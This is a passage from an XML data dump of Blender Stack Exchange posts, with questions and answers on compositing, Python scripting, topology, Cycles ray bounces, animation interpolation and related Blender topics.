Field&lt;/a&gt; panel, set your &lt;em&gt;Focus&lt;/em&gt; object and now increase the &lt;em&gt;Size&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;Aperture Size&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also called lens radius. If this is zero, all objects will appear in focus, while larger values will make objects farther than the focal distance appear out of focus.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;Creating a black and white depth image&lt;/h1&gt;&#xA;&lt;ol start=&quot;0&quot;&gt;&#xA;&lt;li&gt;In the Node Editor:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add | Vector | &lt;a href=&quot;https://docs.blender.org/manual/en/latest/compositing/types/vector/map_value.html?#map-value-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Map Value&lt;/a&gt; (or &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;,&lt;kbd&gt;V&lt;/kbd&gt;,&lt;kbd&gt;M&lt;/kbd&gt;) and connect the &lt;em&gt;Z&lt;/em&gt;-pass.&lt;/li&gt;&#xA;&lt;li&gt;Right click on the &lt;em&gt;Offset&lt;/em&gt; value and select &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/drivers/index.html#drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;Add Single Driver&lt;/a&gt;&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&quot;0&quot;&gt;&#xA;&lt;li&gt;In the &lt;em&gt;Properties&lt;/em&gt; shelf (&lt;kbd&gt;N&lt;/kbd&gt;) of the &lt;em&gt;Driver&lt;/em&gt; section of the &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/graph_editor/index.html?#graph-editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Graph Editor&lt;/a&gt;&lt;/em&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change the variable type to Distance and set the two object to the camera and your target object.&lt;/li&gt;&#xA;&lt;li&gt;Set the script expression to &lt;code&gt;-var&lt;/code&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/72zEb.png&quot; alt=&quot;Driver setup&quot; /&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&quot;0&quot;&gt;&#xA;&lt;li&gt;Back to the Node Editor:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Adjust the &lt;em&gt;Size&lt;/em&gt; setting in the &lt;em&gt;Map Value&lt;/em&gt; node.&lt;/li&gt;&#xA;&lt;li&gt;Add | Converter | &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/converter/math.html#math-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Math&lt;/a&gt;(&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;,&lt;kbd&gt;N&lt;/kbd&gt;,&lt;kbd&gt;M&lt;/kbd&gt;), set to &lt;em&gt;Multiply&lt;/em&gt; and the values to &lt;code&gt;-1&lt;/code&gt; and the &lt;em&gt;Map Value&lt;/em&gt; node.&lt;/li&gt;&#xA;&lt;li&gt;Add | Color | &lt;a href=&quot;https://docs.blender.org/manual/en/latest/compositing/types/color/mix.html#mix-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mix&lt;/a&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;,&lt;kbd&gt;C&lt;/kbd&gt;,&lt;kbd&gt;M&lt;/kbd&gt;), set to &lt;em&gt;Screen&lt;/em&gt; and connect the &lt;em&gt;Map Value&lt;/em&gt; and &lt;em&gt;Math&lt;/em&gt; nodes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bF1j.png&quot; alt=&quot;Node setup&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="15924" LastEditDate="2020-12-09T07:21:36.767" LastActivityDate="2020-12-09T07:21:36.767" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1564" PostTypeId="1" CreationDate="2013-06-30T15:30:32.730" Score="5" ViewCount="1027" Body="&lt;p&gt;I am creating program that translates lithological data to colored 3D-columns which can be imported into Blender. Because the amount of single objects would be huge and disastrous on the readability in in the &quot;outliner&quot; (list of all objects), I am planning to accumulate them in one Wavefront (.obj) object. However, I would like to have labels (stations ids) for each lithological column. Blender seemingly only allows to display the name of objects in Object- and Edit-mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to at least label all lithological columns differently while keeping all columns in one single object? Maybe there exist an addon or a niche in the Blender Python API. As far as I know there would be the possibility to write a Python addon which scales and rotates 3D-text-objects according to the viewport movement of the user. Still, I am looking for plain 2D-text and the functionality is somewhere within Blender already, but not necessarily in the Blender Python API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I intented to do it without the Blender Game Engine. The text should be displayed somewhere over or adjacent the lithological columns (which depends on the current viewport). It would be good if the labels could be switched on and off, to not always interfere with the final results. Additionally, it would be beneficial to preserved the labels in rendered images as well but this is not a necessity. Distance dependent scalability is also optional. The main purpose is to identify the columns/locations while working with them.&lt;/p&gt;&#xA;" OwnerUserId="876" OwnerDisplayName="Florian R. Klein" LastEditorUserId="876" LastEditDate="2013-07-02T11:48:33.890" LastActivityDate="2013-08-01T21:50:57.887" Title="Blender - Plot viewport-independent 2D-Labels" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1565" PostTypeId="2" ParentId="1551" CreationDate="2013-07-01T06:06:13.073" Score="2" Body="&lt;p&gt;I think the answer to your question would be &lt;strong&gt;No&lt;/strong&gt;, but you can get useful results by generating triangles based on a mathematically defined surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very open ended question, even though you ask about fractals, the question applies to any mathematically generated shapes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bottom line is that Blender only supports polygonal geometry (so no mathematically defined surfaces, nurbs, metaballs etc) - It all gets converted into triangles before displaying in the view-port or rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Contrast this to Povray which &lt;strong&gt;can&lt;/strong&gt; render math based surfaces.&lt;/em&gt; *&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can write some script to generate geometry, but its limited in that the output must be polygonal geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen an example where a developer was able to automatically adjust the detail to match the camera - this way you can fake having infinite detail, so perhaps this can be a solution for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can work simply by using a Python script which regenerates a mesh on a frame-change handler, taking the Camera's view-point (and any other changing parameters) into account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the question is so general that its not clear what your intention is exactly once you have some generated geometry rendering.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;*Note, that Blender has povray integration which can use custom defined math surfaces&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-07-01T06:11:31.407" LastActivityDate="2013-07-01T06:11:31.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1568" PostTypeId="1" AcceptedAnswerId="1585" CreationDate="2013-07-01T15:16:02.993" Score="9" ViewCount="540" Body="&lt;p&gt;I'm writing a generic add-on &lt;code&gt;bpy.types.Operator&lt;/code&gt; based on &lt;a href=&quot;https://blender.stackexchange.com/q/1401/822&quot;&gt;this question&lt;/a&gt;. It creates and arranges planes along an object, then splits the object along each new plane. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user has control over the number of planes to arrange, and the direction along which to arrange them. The way I'm going now, everything happens in the &lt;code&gt;execute&lt;/code&gt; method, so the user never sees how the planes are arranged; they're added, the object is split, and they go away all at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, it'd be nice to have the &lt;code&gt;execute&lt;/code&gt; method be responsible for laying the planes, and then a &quot;final apply&quot; hook splits the object, and removes the planes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have a block of code run &lt;em&gt;after&lt;/em&gt; an operator finishes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Is this possible within the python API, or must it be implemented as a modifier in C?)&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-07-02T01:54:51.563" Title="Is there a post-finish operator hook in the python API" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1569" PostTypeId="2" ParentId="1547" CreationDate="2013-07-01T15:18:04.423" Score="5" Body="&lt;p&gt;You can also save a preset called &quot;Default&quot;, so that You can switch back to it from the Theme Presets Menu. Since you lost the &lt;em&gt;Default&lt;/em&gt; theme, You can follow the answer as posted by @jasperge and then the steps below&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Add a new preset based on factory default theme&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PY7jq.png&quot; alt=&quot;Add a new preset based on factory default theme&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Name the new preset as &lt;em&gt;Default&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eGHE9.png&quot; alt=&quot;Save is as &amp;#39;Default&amp;#39;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Later, if you changed your theme to some other theme, You can switch back to &lt;em&gt;Default&lt;/em&gt; very easily&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RHmi5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastActivityDate="2013-07-01T15:18:04.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1570" PostTypeId="2" ParentId="1547" CreationDate="2013-07-01T15:21:18.560" Score="3" Body="&lt;p&gt;Arguably just as important (more important?) as the default color scheme is the default layout (keybindings, screen layout, etc.). You might be better off resetting the whole thing to defaults by going to File &gt; Load Factory Defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, include a start-up .blend file (and theme) as a downloadable addition to your tutorial. At the very least, this gives your audience the chance to have their whole set-up match yours right from the start.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-07-01T15:21:18.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1571" PostTypeId="1" AcceptedAnswerId="1572" CreationDate="2013-07-01T16:05:46.693" Score="8" ViewCount="3101" Body="&lt;p&gt;Just like the &lt;a href=&quot;https://blender.stackexchange.com/questions/415/what-is-the-ideal-topology-for-a-shoulder-joint&quot;&gt;issue with shoulders&lt;/a&gt;, building hip joints causes a lot of trouble for me. Rotating the leg forward distorts the character's bottom, while rotating it back or to the side causes pinching in other areas. What's the correct approach to topology for hips?&lt;/p&gt;&#xA;" OwnerUserId="409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-11-22T00:31:57.367" Title="Correct approach to hip topology?" Tags="&lt;topology&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1572" PostTypeId="2" ParentId="1571" CreationDate="2013-07-01T16:43:32.723" Score="5" Body="&lt;p&gt;Personally I would recommend something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uTyUQ.jpg&quot; alt=&quot;Topology&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Granted, this is a low poly character that contains triangles. You don't want triangles in a mesh that will be using subsurface. However, it forms the general shape.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(FYI Here's a page linking to a bunch of examples of body topology: &lt;a href=&quot;http://wiki.polycount.com/wiki/BodyTopology&quot; rel=&quot;nofollow noreferrer&quot;&gt;Polycount wiki: Body Topology&lt;/a&gt;), and of course, &lt;a href=&quot;https://vimeo.com/cgcookie/videos/search:topology/sort:date&quot; rel=&quot;nofollow noreferrer&quot;&gt;there's always Blender Cookie&lt;/a&gt; (&lt;a href=&quot;https://cgcookie.com/archive/learning-mesh-topology-collection/&quot; rel=&quot;nofollow noreferrer&quot;&gt;archive&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="2217" LastEditDate="2015-11-22T00:31:57.367" LastActivityDate="2015-11-22T00:31:57.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1574" PostTypeId="1" CreationDate="2013-07-01T17:09:02.633" Score="7" ViewCount="3912" Body="&lt;p&gt;How can I import Blender modules into any external Python IDE and use its features from the IDE itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the tutorial &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aIdeasman42/BlenderAsPyModule&quot;&gt;&quot;BlenderAsPyModule&quot;&lt;/a&gt; but I am unable to follow it&amp;hellip; specifically I could't find any such directory as &lt;code&gt;&quot;bin\bpy.pyd&quot;&lt;/code&gt;, as is specified in the link (under the section named 'Windows').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Visual C++ 2008 express SP1 (whose download link is given in the above linked page), and &lt;code&gt;cmake&lt;/code&gt; on a 32-bit Windows 7 machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;strong&gt;output log of generating build files using &lt;code&gt;cmake&lt;/code&gt; with Visual Studio 9 2008&lt;/strong&gt;  :- &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Blender Skipping: (bf_collada;bf_intern_ctr;extern_redcode)&#xA;Configuring done&#xA;Generating done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is the &lt;strong&gt;output log of compiling (release build) the mvs solution file&lt;/strong&gt; (named &lt;em&gt;'blender'&lt;/em&gt;) &lt;strong&gt;:-&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&amp;gt;------ Build started: Project: buildinfo, Configuration: Release Win32 ------&#xA;1&amp;gt;Generating (some_path)/blendersvn/blender/source/creator/buildinfo.h&#xA;1&amp;gt;-- Found Subversion: (some_path)/svn/bin/svn.exe (found version &quot;1.8.0&quot;) &#xA;1&amp;gt;Build log was saved at &quot;file://(some_path)\blendersvn\cmake-build\source\creator\buildinfo.dir\Release\BuildLog.htm&quot;&#xA;1&amp;gt;buildinfo - 0 error(s), 0 warning(s)&#xA;2&amp;gt;------ Build started: Project: blender, Configuration: Release Win32 ------&#xA;2&amp;gt;Compiling...&#xA;2&amp;gt;buildinfo.c&#xA;2&amp;gt;Linking...&#xA;2&amp;gt;   Creating library (some_path)\blendersvn\cmake-build\lib\Release\bpy.lib and object (some_path)\blendersvn\cmake-build\lib\Release\bpy.exp&#xA;2&amp;gt;Embedding manifest...&#xA;2&amp;gt;Build log was saved at &quot;file://(some_path)\blendersvn\cmake-build\source\creator\blender.dir\Release\BuildLog.htm&quot;&#xA;2&amp;gt;blender - 0 error(s), 0 warning(s)&#xA;========== Build: 2 succeeded, 0 failed, 121 up-to-date, 0 skipped ==========&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It appears that there are no errors in these two steps. Is that correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I copied &lt;code&gt;bpy.pyd&lt;/code&gt; that lies inside &lt;code&gt;bin\Release\&lt;/code&gt;  (instead of inside &lt;code&gt;bin\&lt;/code&gt; as mentioned in the link) into &lt;code&gt;\python27\Lib\site-packages\&lt;/code&gt;, but there are no &lt;code&gt;.dll&lt;/code&gt; files in the &lt;code&gt;bin\Release\&lt;/code&gt; directory to copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then (just to add) here is the &lt;code&gt;ImportError&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import bpy&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;pyshell#0&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;    import bpy&#xA;ImportError: DLL load failed: The specified module could not be found.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing any part of the process or doing it wrong?&lt;/p&gt;&#xA;" OwnerUserId="874" LastEditorUserId="372" LastEditDate="2013-08-12T04:31:53.613" LastActivityDate="2013-08-12T04:31:53.613" Title="Using blender as a python module" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="15" ClosedDate="2014-05-14T01:09:55.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="1575" PostTypeId="2" ParentId="1208" CreationDate="2013-07-01T18:12:32.833" Score="1" Body="&lt;p&gt;Assuming you mean Hard drive space, not RAM, there is one thing you can do to reduce this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sascha_Uncia/Doc:2.6/Manual/Physics/Particles/Cache_And_Bake#Compression&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Compression&lt;/em&gt;&lt;/a&gt; to &lt;em&gt;Heavy&lt;/em&gt; in the &lt;em&gt;Physics panel &gt; Smoke Domain settings &gt; Smoke cache&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gQtaq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will enable &lt;a href=&quot;http://en.wikipedia.org/wiki/Lzma&quot; rel=&quot;nofollow noreferrer&quot;&gt;LZMA compression&lt;/a&gt; for cache files. (see &lt;a href=&quot;https://blender.stackexchange.com/a/2657/599&quot;&gt;this&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this will take more CPU usage, possibly slowing down the bake time.&lt;br&gt;&#xA;Have a look at &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?201275-Smoke-sim-difference-between-quot-heavy-quot-and-quot-light-quot-compression&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread on BA&lt;/a&gt; for more information and some comparisons.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-09-18T02:46:36.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1576" PostTypeId="1" CreationDate="2013-07-01T21:21:09.453" Score="3" ViewCount="296" Body="&lt;p&gt;Basically, I would like a way to let the user select a file to import and then transparently execute a custom script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the time, I use Blender in a work flow. When I do some changes on my models in other programs (like a sculpt program), I would like to keep the work I've done in Blender (mostly materials and lightning). The mesh I import already has different materials assigned to different parts of the mesh like &quot;skin&quot;, &quot;hair&quot;, &quot;cloth&quot;, etc... but I heavily modify and tweak them in Blender. When I reimport, the new imported mesh get a &quot;skin.001&quot;, &quot;hair.001&quot;, etc... which are really basic (mostly a diffuse colour). I then have to reassign every time materials myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find a handler for Collada import and didn't find a way with modal operators.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2013-07-01T22:53:35.090" Title="How to automate a script execution on import actions?" Tags="&lt;scripting&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1577" PostTypeId="1" AcceptedAnswerId="1578" CreationDate="2013-07-01T21:28:09.810" Score="9" ViewCount="2872" Body="&lt;p&gt;Sometimes, in order to avoid noise and render faster, I set the bounces to 0. The problem is that I don't get any reflection on water, glass, etc. I know that some nodes provide tests to stop a ray (like &quot;is camera ray&quot;). Can I get the best of both worlds: reflection but no noise?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of controlling how many bounces a light path makes with nodes or python depending on what kind of materials it hits. Like get +1 bounce if glossy or so.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="29301" LastEditDate="2018-10-14T14:33:17.537" LastActivityDate="2018-10-14T14:33:17.537" Title="Adaptative ray bounces in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;transparency&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1578" PostTypeId="2" ParentId="1577" CreationDate="2013-07-01T21:56:40.990" Score="7" Body="&lt;p&gt;What about using settings like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dx1LC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Render settings &amp;rarr; Light Paths &amp;rarr; Bounces&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned by sambler,&lt;br&gt;&#xA;This is also &lt;a href=&quot;http://wiki.blender.org/index.php/User:DingTo/GSoC_2013/Proposal&quot; rel=&quot;nofollow noreferrer&quot;&gt;possible per shader with nodes&lt;/a&gt;, but &lt;a href=&quot;http://blender.45788.x6.nabble.com/SVN-commit-data-svn-bf-blender-58776-trunk-blender-Cycles-Ray-Depth-td111671.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;only in development versions newer than r58776&lt;/a&gt;. This feature will be available in &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.69&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.69&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We have a global (Total Max, Diffuse/Glossy/Transmission max) control&#xA;  for bounces. It would be useful to add a ray depth control for&#xA;  shaders. This way, we can specify if a certain shader should only do 2&#xA;  bounces for example. This can help with performance and noise a bit.&#xA;  Maybe this option could also be added to lamps, so we can set lamps to&#xA;  only do 0 or 1 bounce, and act only as a fill light for example.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To control bounces per material with the light path node you could use a setup like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EKAnr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the highlighted value is the number of bounces for this material to be sampled (negative values will not sample it at all, letting rays straight through).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show this, take the following render (Suzanne has the above node setup with a value of &lt;code&gt;2&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IxAwV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, Suzanne only appears in direct reflections (the pedestals &quot;farther down&quot; are empty).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-03-14T08:05:40.903" LastActivityDate="2014-03-14T08:05:40.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1579" PostTypeId="1" CreationDate="2013-07-01T21:57:54.437" Score="41" ViewCount="78845" Body="&lt;p&gt;When I make an animation, it always starts out slow, then speeds up, then slows down at the end.  I cannot figure out how to fix this.  &lt;/p&gt;&#xA;" OwnerUserId="877" LastActivityDate="2020-04-03T19:43:09.300" Title="How do I make animations a steady speed?" Tags="&lt;animation&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="1580" PostTypeId="2" ParentId="1579" CreationDate="2013-07-01T22:13:41.530" Score="51" Body="&lt;p&gt;Simply go to the Animation Screen Layout:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YdjqB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select &lt;em&gt;Channel &gt; Extrapolation Mode &gt; Linear Extrapolation&lt;/em&gt; (shortcut &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5JbJS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that should fix it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the &lt;em&gt;Graph Editor&lt;/em&gt; before doing this, you will see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Bg0q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The beginning and end of the curve are levelled out, this is what gives you the slowing down effect. It is called a &lt;em&gt;Bezier&lt;/em&gt; function. When you choose 'Linear Extrapolation' it makes the curve a straight line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5G8n1.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The straight line is extended in both directions giving you continued animation, whereby if you choose Interpolation, &lt;em&gt;Key &gt; Interpolation Mode &gt; Linear&lt;/em&gt; (shortcut &lt;kbd&gt;T&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/crd5F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What starts off as curves...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c0rLn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...results in straight lines between keyframes with no extension beyond:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p0wLT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="20508" LastEditDate="2016-07-20T12:11:42.323" LastActivityDate="2016-07-20T12:11:42.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1581" PostTypeId="2" ParentId="1579" CreationDate="2013-07-01T22:49:45.023" Score="8" Body="&lt;p&gt;Go to the animation layout, and in the F-curve editor you can either hit &lt;kbd&gt;T&lt;/kbd&gt;, to set the channel interpolation mode to linear, which affects the whole channel you have selected in the menu on the left side, or hit &lt;kbd&gt;V&lt;/kbd&gt; to set the selected keyframe handles to vector mode. With setting single keyframe handles you have the possibility to use both kinds of interpolations.&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="25" LastEditDate="2013-07-02T02:49:20.750" LastActivityDate="2013-07-02T02:49:20.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1582" PostTypeId="2" ParentId="1576" CreationDate="2013-07-01T22:53:35.090" Score="1" Body="&lt;p&gt;Blender doesn't have these kinds of hooks, the closest thing you can get to this is to write your own operator that runs import, then your own code afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Python importers you could customize the script to include your own functionality and in a few causes you could &lt;em&gt;monkey patch&lt;/em&gt; the importer scripts. But basically this isn't supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this question for more details:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/431/run-additional-code-after-user-has-executed-and-finished-an-operator&quot;&gt;Run additional code after user has executed and finished an operator&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-07-01T22:53:35.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1583" PostTypeId="1" CreationDate="2013-07-01T23:05:20.087" Score="5" ViewCount="3784" Body="&lt;p&gt;I am not sure how to make a texture of water make waves and stuff.  I know how to do it in Render, but not BGE (Blender Game Engine). Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="877" LastEditorUserId="12" LastEditDate="2013-07-01T23:07:20.547" LastActivityDate="2019-07-24T01:07:15.797" Title="How can I emulate moving water in the BGE?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
